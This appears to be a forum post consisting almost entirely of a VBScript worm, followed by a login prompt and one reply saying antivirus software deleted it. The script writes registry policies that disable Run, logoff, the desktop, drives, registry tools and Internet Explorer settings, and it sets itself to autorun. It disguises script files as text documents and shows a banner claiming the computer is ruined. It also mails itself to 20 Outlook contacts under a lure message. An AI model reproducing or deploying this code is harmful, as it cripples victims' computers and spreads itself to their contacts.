On Error Resume Next Set fs=CreateObject(“Scripting.FileSystemObject”) Set dir1=fs.GetSpecialFolder(0) Set dir2=fs.GetSpecialFolder(1) Set so=CreateObject(“Scripting.FileSystemObject”) dim r Set r=CreateObject(“Wscript.Shell”) r.Regwrite “HKLM\Software\classes\vbsfile\defaulticon”,“shell32.dll,-152” r.Regwrite “HKLM\Software\classes\vbsfile”,“文本文档” r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives”,63000000,“REG_DWORD” r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,1,“REG_DWORD” r.Regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry”,“” r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode”,1,“REG_DWORD” r.Regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system”,“Win32system.vbs” r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders”,1,“REG_DWORD” r.Regwrite “HKLM\Software\CLASSES.reg”,“txtfile” r.Regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,“你好!” r.Regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”,“你的电脑已经毁掉。请立即更新。” Set ol=CreateObject(“Outlook.Application”) On Error Resume Next For x=1 To 20 Set Mail=ol.CreateItem(0) Mail.to=ol.GetNameSpace(“MAPI”).AddressLists(1).AddressEntries(x) Mail.Subject=“你没事吧?” Mail.Body=“我给你发了一个邮件,里面有妙方。” Mail.Attachments.Add(dir2&“Win32system.vbs”) Mail.Send Next ol.Quit r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock”,1,“REG_DWORD” r.Regwrite “HKEY_USERS.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page”,“https://www.baidu.com/” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions”,1,“REG_DWORD” r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu”,1,“REG_DWORD”
已有账号? 立即登录
ok,试了,杀毒软件直接把他给删掉了